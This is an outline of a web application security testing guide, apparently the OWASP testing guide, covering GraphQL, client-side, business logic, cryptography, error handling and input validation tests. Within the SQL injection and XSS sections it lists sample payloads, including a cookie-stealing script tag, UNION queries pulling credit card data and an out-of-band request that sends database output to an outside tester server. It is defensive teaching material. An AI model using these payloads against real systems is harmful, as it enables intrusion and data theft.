Map 1

4.12 API Testing
1. Testing GraphQL
  1. Objectives
    1. Assess that a secure and production-ready configuration is deployed.
    2. Validate all input fields against generic attacks.
    3. Ensure that proper access controls are applied.
  2. How to Test
    1. Introspection Queries
      1. Using Native GraphQL Introspection
      2. Using GraphiQL
      3. Using GraphQL Playground
      4. Introspection Conclusion
    2. Authorization
    3. Injection
    4. SQL Injection
    5. Cross-Site Scripting (XSS)
    6. Denial of Service (DoS) Queries
    7. Batching Attacks
    8. Detailed Error Message
    9. Exposure of Underlying API
  3. Remediation
    1. Restrict access to introspection queries.
    2. Implement input validation.
    3. Implement security measures to prevent abusive queries.
    4. Send generic error messages: use generic error messages that do not reveal details of the deployment.
    5. Mitigate batching attacks
  4. Tools
    1. GraphQL Playground
    2. GraphQL Voyager
    3. sqlmap
    4. InQL (Burp Extension)
    5. GraphQL Raider (Burp Extension)
    6. GraphQL (Add-on for OWASP ZAP)
  5. References
    1. poc-graphql
    2. GraphQL Official Site
    3. Howtographql - Security
    4. GraphQL Constraint Directive
    5. Client-side Testing (XSS and other vulnerabilities)
    6. 5 Common GraphQL Security Vulnerabilities
    7. GraphQL common vulnerabilities and how to exploit them
    8. GraphQL CS
4.11 Client-Side Testing
1. Testing for DOM-Based Cross Site Scripting
  1. Objectives
    1. Identify DOM sinks.
    2. Build payloads that pertain to every sink type.
  2. How to Test
    1. Input written to the page by the server in a way that does not allow direct XSS, and
    2. Input obtained from client-side JavaScript objects.
    3. URL using the document and location attributes
  3. Remediation
    1. the DOM-based XSS Prevention Cheat Sheet.
  4. References
    1. DomXSSWiki
    2. DOM XSS article by Amit Klein
2. Testing for JavaScript Execution
  1. Objectives
    1. Identify sinks and possible JavaScript injection points.
  2. How to Test
    1. Consider the following: DOM XSS exercise
3. Testing for HTML Injection
  1. Objectives
    1. Identify HTML injection points and assess the severity of the injected content.
  2. How to Test
    1. Consider the following DOM XSS exercise
4. Testing for Client-side URL Redirect
  1. Objectives
    1. Identify injection points that handle URLs or paths.
    2. Assess the locations that the system could redirect to.
  2. How to Test
    1. These redirections may be implemented, to give a JavaScript example, using the window.location object. This can be used to direct the browser to another page by simply assigning a string to it.
5. Testing for CSS Injection
  1. Objectives
    1. Identify CSS injection points.
    2. Assess the impact of the injection.
  2. How to Test
    1. Code should be analyzed to determine if a user is permitted to inject content in the CSS context.
    2. Particularly, the way in which the website returns CSS rules on the basis of the inputs should be inspected.
    3. Password “cracker” via CSS and HTML5
    4. CSS attribute reading
    5. JavaScript based attacks using CSSStyleDeclaration with unescaped input
6. Testing for Client-side Resource Manipulation
  1. Objectives
    1. Identify sinks with weak input validation.
    2. Assess the impact of the resource manipulation.
  2. How to Test
    1. To manually check for this type of vulnerability, we must identify whether the application employs inputs without correctly validating them.
    2. Frame iframe src
    3. Link a href
    4. AJAX Request xhr.open(method, [url], true); URL
    5. CSS link href
    6. Image img src
    7. Object object data
    8. Script script src
7. Testing Cross Origin Resource Sharing
  1. Objectives
    1. Identify endpoints that implement CORS.
    2. Ensure that the CORS configuration is secure or harmless.
  2. How to Test
    1. A tool such as ZAP can enable testers to intercept HTTP headers, which can reveal how CORS is used.
8. Testing for Cross Site Flashing
  1. Objectives
    1. Decompile and analyze the application’s code.
    2. Assess sinks inputs and unsafe method usages.
  2. How to Test
    1. Decompilation
    2. Undefined Variables FlashVars
    3. Unsafe Methods
      1. loadVariables()
      2. loadMovie()
      3. getURL()
      4. loadMovie()
      5. loadMovieNum()
      6. FScrollPane.loadScrollContent()
      7. LoadVars.load
      8. LoadVars.send
      9. XML.load ( 'url' )
      10. LoadVars.load ( 'url' )
      11. Sound.loadSound( 'url' , isStreaming );
      12. NetStream.play( 'url' );
      13. flash.external.ExternalInterface.call(_root.callback)
      14. htmlText
    4. Exploitation by Reflected XSS
    5. GetURL (AS2) / NavigateToURL (AS3)
    6. Using `asfunction`
    7. ExternalInterface
    8. HTML Injection
  3. Tools
    1. Adobe SWF Investigator
    2. OWASP SWFIntruder
    3. Decompiler – Flare
    4. Disassembler – Flasm
    5. Swfmill – Convert Swf to XML and vice versa
9. Testing for Clickjacking
  1. Objectives
    1. Understand security measures in place.
    2. Assess how strict the security measures are and if they are bypassable.
  2. How to Test
    1. Bypass Clickjacking Protection
      1. Client-side Protection: Frame Busting
      2. Mobile Website Version
      3. Double Framing
      4. Disabling JavaScript
      5. OnBeforeUnload Event
      6. XSS Filter
      7. Redefining Location
    2. Server-side Protection: X-Frame-Options
      1. Browser Compatibility
      2. Proxies
      3. Mobile Website Version
  3. References
    1. OWASP Clickjacking
    2. Wikipedia Clickjacking
    3. Context Information Security: “Next Generation Clickjacking”
    4. Gustav Rydstedt, Elie Bursztein, Dan Boneh, and Collin Jackson: “Busting Frame Busting: a Study of Clickjacking
    5. Paul Stone: “Next generation clickjacking”
10. Testing WebSockets
  1. Objectives
    1. Identify the usage of WebSockets.
    2. Assess its implementation by using the same tests on normal HTTP channels.
  2. How to Test
    1. Black-Box Testing
      1. 1. Identify that the application is using WebSockets.
      2. Inspect the client-side source code for the ws:// or wss:// URI scheme.
      3. Use Google Chrome’s Developer Tools to view the Network WebSocket communication.
      4. Use ZAP’s WebSocket tab.
      5. 2. Origin
      6. Using a WebSocket client (one can be found in the Tools section below) attempt to connect to the remote WebSocket server. If a connection is established the server may not be checking the origin header of the WebSocket handshake
      7. 3. Confidentiality and Integrity.
      8. Check that the WebSocket connection is using SSL to transport sensitive information wss:// .
      9. Check the SSL Implementation for security issues (Valid Certificate, BEAST, CRIME, RC4, etc).
      10. 4. Authentication.
      11. WebSockets do not handle authentication, normal black-box authentication tests should be carried out
      12. 5. Authorization.
      13. WebSockets do not handle authorization, normal black-box authorization tests should be carried out.
      14. 6. Input Sanitization.
      15. Use ZAP’s WebSocket tab to replay and fuzz WebSocket request and responses.
  3. Tools
    1. OWASP Zed Attack Proxy (ZAP)
    2. WebSocket Client
    3. Google Chrome Simple WebSocket Client
  4. References
    1. HTML5 Rocks - Introducing WebSockets: Bringing Sockets to the Web
    2. W3C - The WebSocket API
    3. IETF - The WebSocket Protocol
    4. Christian Schneider - Cross-Site WebSocket Hijacking (CSWSH)
    5. Jussi-Pekka Erkkilä - WebSocket Security Analysis (PDF)
    6. Robert Koch- On WebSockets in Penetration Testing
    7. DigiNinja - OWASP ZAP and Web Sockets
11. Testing Web Messaging
  1. Objectives
    1. Assess the security of the message’s origin.
    2. Validate that it’s using safe methods and validating its input.
  2. How to Test
    1. Examine Origin Security
    2. Examine Input Validation
    3. Static Code Analysis
12. Testing Browser Storage
  1. Objectives
    1. Determine whether the website is storing sensitive data in client-side storage.
    2. The code handling of the storage objects should be examined for possibilities of injection attacks,
  2. How to Test
    1. Local Storage
      1. window.localStorage is a global property that implements the Web Storage API
      2. List All Key-Value Entries
    2. Session Storage
      1. window.sessionStorage is a global property that implements the Web Storage API
      2. List All Key-Value Entries
    3. IndexedDB
      1. ndexedDB is a transactional, object-oriented database intended for structured data.
      2. Print All the Contents of IndexedDB
    4. Web SQL
      1. Web SQL is deprecated since November 18, 2010 and it’s recommended that web developers do not use it
    5. Cookies
    6. Global Window Object
  3. Attack Chain
    1. Following the identification any of the above attack vectors, an attack chain can be formed with different types of clientside attacks, such as DOM based XSS attacks
  4. Remediation
    1. Applications should be storing sensitive data on the server-side, and not on the client-side, in a secured manner following best practices.
  5. References
    1. Local Storage
    2. Session Storage
    3. IndexedDB
    4. Web Crypto API: Key Storage
    5. Web SQL
    6. Cookies
13. Testing for Cross Site Script Inclusion
  1. Objectives
    1. Locate sensitive data across the system.
    2. Assess the leakage of sensitive data through various techniques.
  2. How to Test
    1. Collect Data Using Authenticated and Unauthenticated User Sessions
    2. Determine Whether the Sensitive Data Can Be Leaked Using JavaScript
      1. 1. Global variables
      2. 2. Global function parameters
      3. 3. CSV (Comma Separated Values) with quotations theft
      4. 4. JavaScript runtime errors
      5. 5. Prototype chaining using this
    3. 1. Sensitive Data Leakage via Global Variables
    4. 2. Sensitive Data Leakage via Global Function Parameters
    5. 3. Sensitive Data Leakage via CSV with Quotations Theft
    6. 4. Sensitive Data Leakage via JavaScript Runtime Errors
    7. 5. Sensitive Data Leakage via Prototype Chaining Using `this`
4.10 Business Logic Testing
1. Introduction to Business Logic
  1. Testing for business logic flaws in a multi-functional dynamic web application requires thinking in unconventional methods
  2. The classification of business logic flaws has been under-studied; although exploitation of business flaws frequently happens in real-world systems
  3. Testing of business logic flaws is similar to the test types used by functional testers that focus on logical or finite state testing.
  4. Tools
    1. Intercepting Proxy
      1. OWASP Zed Attack Proxy
      2. Burp Proxy
    2. Web Browser Plug-ins
      1. Tamper Data for FF Quantum
      2. Tamper Chrome (for Google Chrome)
    3. Miscellaneous Test Tools
      1. Web Developer toolbar
      2. HTTP Request Maker for Chrome
      3. HTTP Request Maker for Firefox
      4. Cookie Editor for Chrome
      5. Cookie Editor for Firefox
  5. Useful Web Sites
    1. Abuse of Functionality
    2. Business logic
    3. Business Logic Flaws and Yahoo Games
    4. CWE-840: Business Logic Errors
    5. Defying Logic: Theory, Design, and Implementation of Complex Systems for Testing Application Logic
    6. Software Testing Lifecycle
  6. Books
    1. The Decision Model: A Business Logic Framework Linking Business and Technology
2. Test Business Logic Data Validation
  1. Objectives
    1. Identify data injection points.
    2. Validate that all checks are occurring on the back end and can’t be bypassed.
    3. Attempt to break the format of the expected data and analyze how the application is handling it.
  2. How to Test
    1. Generic Test Method
      1. Review the project documentation and use exploratory testing looking for data entry points
      2. Once found try to insert logically invalid data into the application/system.
      3. Perform front-end GUI Functional Valid testing on the application to ensure that the only “valid” values are accepted.
      4. Using an intercepting proxy observe the HTTP POST/GET looking for places that variables
      5. Once variables are found start interrogating the field with logically “invalid” data
    2. Related Test Cases
      1. All Input Validation test cases.
      2. Testing for Account Enumeration and Guessable User Account.
      3. Testing for Bypassing Session Management Schema.
      4. Testing for Exposed Session Variables.
  3. Tools
    1. OWASP Zed Attack Proxy (ZAP)
    2. Burp Suite
  4. References
    1. OWASP Proactive Controls (C5) - Validate All Inputs
    2. OWASP Cheatsheet Series - Input_Validation_Cheat_Sheet
3. Test Ability to Forge Requests
  1. Objectives
    1. Review the project documentation looking for guessable, predictable, or hidden functionality of fields.
    2. Insert logically valid data in order to bypass normal business logic workflow.
  2. How to Test
    1. Through Identifying Guessable Values
      1. Using an intercepting proxy observe the HTTP POST/GET looking for some indication that values are incrementing
      2. If it is found that some value is guessable this value may be changed and one may gain unexpected visibilit
    2. Through Identifying Hidden Options
      1. Using an intercepting proxy observe the HTTP POST/GET looking for some indication of hidden features
      2. If any are found try to guess and change these values to get a different application response or behavior
  3. Related Test Cases
    1. Testing for Exposed Session Variables
    2. Testing for Cross Site Request Forgery (CSRF)
    3. Testing for Account Enumeration and Guessable User Account
  4. Tools
    1. OWASP Zed Attack Proxy (ZAP)
    2. Burp Suite
  5. References
    1. Cross Site Request Forgery - Legitimizing Forged Requests
    2. Easter egg
    3. Top 10 Software Easter Eggs
4. Test Integrity Checks
  1. Objectives
    1. Review the project documentation for components of the system that move, store, or handle data.
    2. Determine what type of data is logically acceptable by the component and what types the system should guard against.
    3. Determine who should be allowed to modify or read that data in each component.
    4. Attempt to insert, update, or delete data values used by each component that should not be allowed per the business logic workflow.
  2. How to Test
    1. Specific Testing Method 1
      1. Using a proxy capture HTTP traffic looking for hidden fields.
      2. If a hidden field is found see how these fields compare with the GUI application and start interrogating this value
    2. Specific Testing Method 2
      1. Using a proxy capture HTTP traffic looking for a place to insert information into areas of the application that are non-editable.
      2. If it is found see how these fields compare with the GUI application and start interrogating this value through the proxy by submitting different data values
    3. Specific Testing Method 3
      1. ist components of the application or system that could be impacted, for example logs or databases.
      2. For each component identified, try to read, edit or remove its information.
  3. Related Test Cases
    1. All Input Validation test cases.
  4. Tools
    1. Various system/application tools such as editors and file manipulation tools.
    2. OWASP Zed Attack Proxy (ZAP)
    3. Burp Suite
  5. References
    1. Implementing Referential Integrity and Shared Business Logic in a RDB
    2. On Rules and Integrity Constraints in Database Systems
    3. Use referential integrity to enforce basic business rules in Oracle
    4. Maximizing Business Logic Reuse with Reactive Logic
    5. Tamper Evidence Logging
5. Test for Process Timing
  1. Objectives
    1. Review the project documentation for system functionality that may be impacted by time.
    2. Develop and execute misuse cases.
  2. How to Test
    1. The tester should identify which processes are dependent on time, whether it was a window for a task to be completed,
    2. Following that, it is best to automate the requests that will abuse the above discovered processes
    3. The tester should draw a diagram of how the process flows, the injection points, and prepare the requests before hand to launch them at the vulnerable processes
  3. Related Test Cases
    1. Testing for Cookies Attributes
    2. Test Session Timeout
6. Test Number of Times a Function Can Be Used Limits
  1. Objectives
    1. Identify functions that must set limits to the times they can be called.
    2. Assess if there is a logical limit set on the functions and if it is properly validated.
  2. How to Test
    1. Review the project documentation and use exploratory testing looking for functions or features in the application or system that should not be executed more that a single time or specified number of times during the business logic workflow.
    2. For each of the functions and features found that should only be executed a single time or specified number of times during the business logic workflow, develop abuse/misuse cases that may allow a user to execute more than the allowable number of times
  3. Related Test Cases
    1. Testing for Account Enumeration and Guessable User Account
    2. Testing for Weak lock out mechanism
  4. References
    1. InfoPath Forms Services business logic exceeded the maximum limit of operations Rule
    2. Gold Trading Was Temporarily Halted On The CME This Morning
7. Testing for the Circumvention of Work Flows
  1. Objectives
    1. Review the project documentation for methods to skip or go through steps in the application process in a different order from the intended business logic flow.
    2. Develop a misuse case and try to circumvent every logic flow identified.
  2. How to Test
    1. Testing Method 1
      1. Start a transaction going through the application past the points that triggers credits/points to the users account.
      2. Cancel out of the transaction or reduce the final tender so that the point values should be decreased
    2. Testing Method 2
      1. On a content management or bulletin board system enter and save valid initial text or values.
      2. Then try to append, edit and remove data that would leave the existing data in an invalid state or with invalid values to ensure that the user is not allowed to save the incorrect information
  3. Related Test Cases
    1. Testing Directory Traversal/File Include
    2. Testing for Bypassing Authorization Schema
    3. Testing for Bypassing Session Management Schema
    4. Test Business Logic Data Validation
    5. Test Ability to Forge Requests
    6. Test Integrity Checks
    7. Test for Process Timing
    8. Test Number of Times a Function Can be Used Limits
    9. Test Defenses Against Application Mis-use
    10. Test Upload of Unexpected File Types
    11. Test Upload of Malicious Files
  4. References
    1. OWASP Abuse Case Cheat Sheet
    2. CWE-840: Business Logic Errors
8. Test Defenses Against Application Misuse
  1. Objectives
    1. Generate notes from all tests conducted against the system.
    2. Review which tests had a different functionality based on aggressive input.
    3. Understand the defenses in place and verify if they are enough to protect the system
  2. How to Test
    1. Changed responses
    2. Blocked requests
    3. Actions that log a user out or lock their account
    4. Rejecting input containing certain characters
    5. Locking out an account temporarily after a number of authentication failures
    6. Forced browsing
    7. Bypassing presentation layer input validation
    8. Multiple access control errors
    9. Additional, duplicated or missing parameter names
    10. Multiple input validation or business logic verification failures with values that cannot be the result user mistakes or typos
    11. Structured data (e.g. JSON, XML) of an invalid format is received
    12. Blatant cross-site scripting or SQL injection payloads are received
    13. Utilizing the application faster than would be possible without automation tools
    14. Change in continental geo-location of a user
    15. Change of user agent
    16. Accessing a multi-stage business process in the wrong order
    17. Large number of, or high rate of use of, application-specific functionality
  3. Related Test Cases
    1. All other test cases are relevant.
  4. References
    1. Resilient Software, Software Assurance, US Department Homeland Security
    2. IR 7684 Common Misuse Scoring System (CMSS), NIST
    3. Common Attack Pattern Enumeration and Classification (CAPEC), The Mitre Corporation
    4. OWASP AppSensor Project
    5. AppSensor Guide v2, OWASP
    6. Watson C, Coates M, Melton J and Groves G, Creating Attack-Aware Software Applications with Real-Time Defenses
9. Test Upload of Unexpected File Types
  1. Objectives
    1. Review the project documentation for file types that are rejected by the system.
    2. Verify that the unwelcomed file types are rejected and handled safely.
    3. Verify that file batch uploads are secure and do not allow any bypass against the set security measures.
  2. How to Test
    1. Specific Testing Method
      1. Study the applications logical requirements.
      2. Prepare a library of files that are “not approved” for upload that may contain files such as: jsp, exe, or HTML files containing script.
      3. In the application navigate to the file submission or upload mechanism.
      4. Submit the “not approved” file for upload and verify that they are properly prevented from uploading
      5. Check if the website only do file type check in client-side JavaScript
      6. Check if the website only check the file type by “Content-Type” in HTTP request.
      7. Check if the website only check by the file extension.
      8. Check if other uploaded files can be accessed directly by specified URL.
      9. Check if the uploaded file can include code or script injection.
      10. Check if there is any file path checking for uploaded files.
  3. Related Test Cases
    1. Test File Extensions Handling for Sensitive Information
    2. Test Upload of Malicious Files
  4. References
    1. OWASP - Unrestricted File Upload
    2. File upload security best practices: Block a malicious file upload
    3. Stop people uploading malicious PHP files via forms
    4. CWE-434: Unrestricted Upload of File with Dangerous Type
10. Test Upload of Malicious Files
  1. Objectives
    1. Identify the file upload functionality.
    2. Review the project documentation to identify what file types are considered acceptable
    3. Determine how the uploaded files are processed.
    4. Obtain or create a set of malicious files for testing.
    5. Try to upload the malicious files to the application and determine whether it is accepted and processed.
  2. How to Test
    1. Malicious File Types
      1. Web Shells
      2. Filter Evasion
    2. Malicious File Contents
      1. Malware
      2. Archive Directory Traversal
      3. Zip Bombs
      4. XML Files
      5. CSV files may allow CSV injection attacks.
      6. Office files may contain malicious macros or PowerShell code.
      7. PDFs may contain malicious JavaScript
    3. Source Code Review
      1. Java: new file , import , upload , getFileName , Download , getOutputString
      2. C/C++: open , fopen
      3. PHP: move_uploaded_file() , Readfile , file_put_contents() , file() , parse_ini_file() , copy() , fopen() , include() , require()
  3. Related Test Cases
    1. Test File Extensions Handling for Sensitive Information
    2. Testing for XML Injection
    3. Test Upload of Unexpected File Types
  4. Tools
    1. Metasploit’s payload generation functionality
    2. Intercepting proxy
  5. References
    1. OWASP - File Upload Cheat Sheet
    2. OWASP - Unrestricted File Upload
    3. Why File Upload Forms are a Major Security Threat
    4. Overview of Malicious File Upload Attacks
    5. 8 Basic Rules to Implement Secure File Uploads
    6. Stop people uploading malicious PHP files via forms
    7. How to Tell if a File is Malicious
    8. CWE-434: Unrestricted Upload of File with Dangerous Type
    9. Implementing Secure File Upload
    10. Metasploit Generating Payloads
4.9 Testing for Weak Cryptography
1. Testing for Weak Transport Layer Security
  1. Objectives
    1. Validate the service configuration.
    2. Review the digital certificate’s cryptographic strength and validity.
    3. Ensure that the TLS security is not bypassable and is properly implemented across the application.
  2. How to Test
    1. Server Configuration
      1. SSLv2 (DROWN)
      2. SSLv3 (POODLE)
      3. TLSv1.0 (BEAST)
      4. EXPORT ciphers suites (FREAK)
      5. NULL ciphers (they only provide authentication).
      6. Anonymous ciphers (these may be supported on SMTP servers, as discussed in RFC 7672)
      7. RC4 ciphers (NOMORE)
      8. CBC mode ciphers (BEAST, Lucky 13)
      9. TLS compression (CRIME)
      10. Weak DHE keys (LOGJAM)
    2. Digital Certificates
      1. Cryptographic Weaknesses
      2. The key strength should be at least 2048 bits.
      3. The signature algorithm should be at least SHA-256. Legacy algorithms such as MD5 and SHA-1 should not be
      4. used.
      5. Validity
      6. Be within the defined validity period.
      7. Be signed by a trusted certificate authority (CA).
      8. Have a Subject Alternate Name (SAN) that matches the hostname of the system.
    3. Implementation Vulnerabilities
      1. Debian OpenSSL Predictable Random Number Generator (CVE-2008-0166)
      2. OpenSSL Insecure Renegotiation (CVE-2009-3555)
      3. OpenSSL Heartbleed (CVE-2014-0160)
      4. F5 TLS POODLE (CVE-2014-8730)
      5. Microsoft Schannel Denial of Service (MS14-066 / CVE CVE-2014-6321)
    4. Application Vulnerabilities
      1. Not sending sensitive data over unencrypted channels (WSTG-CRYP-03)
      2. Setting the HTTP Strict-Transport-Security header (WSTG-CONF-07)
      3. Setting the Secure flag on cookies (WSTG-SESS-02)
    5. Automated Testing
      1. Nmap (various scripts)
      2. OWASP O-Saft
      3. sslscan
      4. sslyze
      5. SSL Labs
      6. testssl.sh
    6. Manual Testing
      1. It is also possible to carry out most checks manually, using command-line looks such as openssl s_client or gnutls-cli to connect with specific protocols, ciphers or options.
  3. References
    1. OWASP Transport Layer Protection Cheat Sheet
    2. Mozilla Server Side TLS Guide
2. Testing for Padding Oracle
  1. Objectives
    1. Identify encrypted messages that rely on padding.
    2. Attempt to break the padding of the encrypted messages and analyze the returned error messages for further analysis.
  2. How to Test
    1. Black-Box Testing
      1. 1. The data is encrypted. Good candidates are values which appear to be random
      2. 2. A block cipher is used.
    2. Gray-Box Testing
      1. 1. The integrity of the cipher text should be verified by a secure mechanism, like HMAC or authenticated cipher operation modes like GCM or CCM.
      2. 2. All error states while decryption and further processing are handled uniformly.
  3. Tools
    1. PadBuster
    2. Padding Oracle Exploitation Tool (POET)
    3. Poracle
    4. python-paddingoracle
  4. References
    1. Wikepedia - Padding Oracle Attack
    2. Juliano Rizzo, Thai Duong, “Practical Padding Oracle Attacks”
3. Testing for Sensitive Information Sent via Unencrypted Channels
  1. Objectives
    1. Identify sensitive information transmitted through the various channels.
    2. Assess the privacy and security of the channels used.
  2. How to Test
    1. OWASP Top 10 2017 A3-Sensitive Data Exposure
    2. Transport Layer Protection Cheat Sheet.
    3. Example 1: Basic Authentication over HTTP
    4. Example 2: Form-Based Authentication Performed over HTTP
    5. Example 3: Cookie Containing Session ID Sent over HTTP
    6. Example 4: Testing Password Sensitive Information in Source Code or Logs
  3. Tools
    1. curl
    2. grep
    3. Identity Finder
    4. Wireshark
    5. TCPDUMP
4. Testing for Weak Encryption
  1. Objectives
    1. Provide a guideline for the identification weak encryption or hashing uses and implementations.
  2. How to Test
    1. Basic Security Checklist
    2. Source Code Review
      1. Search for the following keywords to identify use of weak algorithms: MD4, MD5, RC4, RC2, DES, Blowfish, SHA1, ECB
      2. For Java implementations, the following API is related to encryption. Review the parameters of the encryption implementation.
      3. For RSA encryption, the following padding modes are suggested.
      4. Search for ECB , it’s not allowed to be used in padding.
      5. Review if different IV (initial Vector) is used.
      6. Search for IvParameterSpec , check if the IV value is generated differently and randomly.
      7. In Java, search for MessageDigest to check if weak hash algorithm (MD5 or CRC) is used.
      8. For signature, SHA1 and MD5 should not be used.
      9. Search for PBKDF2 .
      10. Hard-coded sensitive information
  3. Tools
    1. Vulnerability scanners such as Nessus, NMAP (scripts), or OpenVAS
    2. Use static code analysis tool to do source code review such as klocwork, Fortify, Coverity, CheckMark
  4. References
    1. NIST FIPS Standards
    2. Wikipedia: Initialization Vector
    3. Secure Coding - Generating Strong Random Numbers
    4. Optimal Asymmetric Encryption Padding
    5. Cryptographic Storage Cheat Sheet
    6. Password Storage Cheat Sheet
    7. Secure Coding - Do not use insecure or weak cryptographic algorithms
    8. Insecure Randomness
    9. Insufficient Entropy
    10. Insufficient Session-ID Length
    11. Using a broken or risky cryptographic algorithm
    12. Javax.crypto.cipher API
    13. ISO 18033-1:2015 – Encryption Algorithms
    14. ISO 18033-2:2015 – Asymmetric Ciphers
    15. ISO 18033-3:2015 – Block Ciphers
4.8 Testing for Error Handling
1. Testing for Improper Error Handling
  1. Objectives
    1. Identify existing error output.
    2. Analyze the different output returned.
  2. How to Test
    1. Web Servers
      1. Search for random files and folders that will not be found (404s).
      2. Try to request folders that exist and see the server behavior (403s, blank page, or directory listing).
      3. Try sending a request that breaks the HTTP RFC. One example would be to send a very large path, break the
      4. headers format, or change the HTTP version.
    2. Applications
      1. 1. Identify possible input points where the application is expecting data.
      2. 2. Analyse the expected input type (strings, integers, JSON, XML, etc.).
      3. 3. Fuzz every input point based on the previous steps to have a more focused test scenario.
      4. 4. Understand the service responding with the error message and try to make a more refined fuzz list to bring out
  3. Remediation
    1. Proactive Controls C10
    2. Error Handling Cheat Sheet.
  4. Playgrounds
    1. Juice Shop - Error Handling
  5. References
    1. WSTG: Appendix C - Fuzz Vectors
    2. Proactive Controls C10: Handle All Errors and Exceptions
    3. ASVS v4.1 v7.4: Error handling
    4. CWE 728 - Improper Error Handling
    5. Cheat Sheet Series: Error Handling
4.7 Input Validation Testing
1. Reflected Cross Site Scripting
  1. Objectives
    1. Identify variables that are reflected in responses
    2. Assess the input they accept and the encoding that gets applied on return
  2. How to Test
    1. Black-Box Testing
      1. Detect Input Vectors
      2. This includes hidden or non-obvious inputs such as HTTP parameters, POST data, hidden form field values, and predefined radio or selection values.
      3. Analyze Input Vectors
      4. Analyze each input vector to detect potential vulnerabilities.
      5. <script>alert(123)</script>
      6. "><script>alert(document.cookie)</script>
      7. XSS Filter Evasion Cheat Sheet.
      8. Check Impact
      9. For each test input attempted in the previous phase, the tester will analyze the result and determine if it represents a vulnerability that has a realistic impact on the web application’s security
      10. Bypass XSS Filters
      11. the majority of XSS prevention must depend on the web application’s sanitization of untrusted user input.
    2. Gray-Box Testing
      1. If source code is available, all variables received from users should be analyzed.
  3. Tools
    1. PHP Charset Encoder(PCE)
    2. Hackvertor
    3. XSS-Proxy
    4. ratproxy
    5. Burp Proxy
    6. OWASP Zed Attack Proxy
  4. References
    1. XSS Filter Evasion Cheat Sheet
    2. Books
      1. “Hacking Exposed Web Applications”
      2. “The Web Application’s Handbook"
      3. “Cross Site Scripting Attacks: XSS Exploits and Defense”
    3. Whitepapers
      1. CERT - Malicious HTML Tags Embedded in Client Web Requests
      2. cgisecurity.com - The Cross Site Scripting FAQ
      3. G.Ollmann - HTML Code Injection and Cross-site scripting
      4. Understanding the Web browser threat
2. Stored Cross Site Scripting
  1. Objectives
    1. Identify stored input that is reflected on the client-side.
    2. Assess the input they accept and the encoding that gets applied on return
  2. How to Test
    1. Black-Box Testing
      1. Input Forms
      2. User/Profiles page
      3. Shopping cart
      4. File Manager
      5. Application settings/preferences
      6. Forum/Message board
      7. Blog
      8. Log
      9. Analyze HTML Code
      10. Input stored by the application is normally used in HTML tags, but it can also be found as part of JavaScript content.
      11. File Upload
      12. XSS payload can be injected in the file uploaded.
    2. Gray-Box Testing
      1. Use front-end application and enter input with special/invalid characters
      2. Analyze application response(s)
      3. Identify presence of input validation controls
      4. Access back-end system and check if input is stored and how it is stored
      5. Analyze source code and understand how stored input is rendered by the application
  3. Tools
    1. PHP Charset Encoder(PCE)
    2. Hackvertor
    3. BeEF
    4. XSS-Proxy
    5. Burp Proxy
    6. XSS Assistant
    7. OWASP Zed Attack Proxy (ZAP)
  4. References
    1. XSS Filter Evasion Cheat Sheet
    2. Books
      1. “Hacking Exposed Web Applications”
      2. “The Web Application’s Handbook"
      3. “Cross Site Scripting Attacks: XSS Exploits and Defense”
    3. Whitepapers
      1. CERT - Malicious HTML Tags Embedded in Client Web Requests
      2. Amit Klein: “Cross-site Scripting Explained”
      3. Gunter Ollmann: “HTML Code Injection and Cross-site Scripting”
      4. CGISecurity.com: “The Cross Site Scripting FAQ”
3. HTTP Parameter Pollution
  1. Objectives
    1. Identify the backend and the parsing method used.
    2. Assess injection points and try bypassing input filters using HPP.
  2. How to Test
    1. Server-Side HPP
      1. Submit an HTTP request containing the standard parameter name and value,
      2. . Replace the parameter value with a tampered value
      3. Send a new request combining step (1) and (2). Again
      4. Compare the responses obtained during all previous steps.
    2. Client-Side HPP
      1. Similarly to server-side HPP, pollute each HTTP parameter with %26HPP_TEST and look for url-decoded occurrences of
  3. Tools
    1. OWASP ZAP Passive/Active Scanners
  4. References
    1. HTTP Parameter Pollution - Luca Carettoni, Stefano di Paola
    2. Client-side HTTP Parameter Pollution Example (Yahoo! Classic Mail flaw) - Stefano di Paola
    3. How to Detect HTTP Parameter Pollution Attacks - Chrysostomos Daniel
    4. CAPEC-460: HTTP Parameter Pollution (HPP) - Evgeny Lebanidze
    5. Automated Discovery of Parameter Pollution Vulnerabilities in Web Applications
4. Testing for SQL Injection
  1. Objectives
    1. Identify SQL injection points.
    2. Assess the severity of the injection and the level of access that can be achieved through it.
  2. How to Test
    1. Detection Techniques
      1. Authentication forms
      2. Search engines
      3. E-Commerce sites
      4. first test usually consists of adding a single quote ' or a semicolon ; to the field or parameter
      5. Also comment delimiters ( -- or /* */ , etc)
    2. Standard SQL Injection Testing
      1. Classic SQL Injection
      2. SELECT * FROM Users WHERE Username='$username' AND Password='$password'
      3. $username = 1' or '1' = '1
      4. $password = 1' or '1' = '1
      5. SELECT * FROM products WHERE id_product=$id_product
      6. http://www.example.com/product.php?id=10
      7. http://www.example.com/product.php?id=10 AND 1=1
      8. Stacked Queries
      9. SELECT * FROM products WHERE id_product=$id_product
      10. http://www.example.com/product.php?id=10; INSERT INTO users (…)
    3. Fingerprinting the Database
      1. Errors Returned by the Application
      2. MySql
      3. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
      4. Oracle
      5. ORA-00933: SQL command not properly ended
      6. MS SQL Server
      7. Microsoft SQL Native Client error ‘80040e14’ Unclosed quotation mark after the character string
      8. PostgreSQL
      9. Query failed: ERROR: syntax error at or near "’" at character 56 in /www/site/test.php on line 121.
    4. Exploitation Techniques
      1. Union Exploitation Technique
      2. SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
      3. http://www.example.com/product.php?id=10 ORDER BY 10--
      4. Determining the number of the columns
      5. http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--
      6. Determining the columns containing integers
      7. http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--
      8. Boolean Exploitation Technique
      9. http://www.example.com/index.php?id=1'
      10. Error Based Exploitation Technique
      11. http://www.example.com/product.php?id=10
      12. http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--
      13. Out of Band Exploitation Technique
      14. http://www.example.com/product.php?id=10
      15. http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELECT user FROM DUAL)--
      16. Time Delay Exploitation Technique
      17. http://www.example.com/product.php?id=10
      18. http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--
      19. Stored Procedure Injection
    5. SQL Injection Signature Evasion Techniques
      1. Whitespace
      2. Null Bytes
      3. SQL Comments
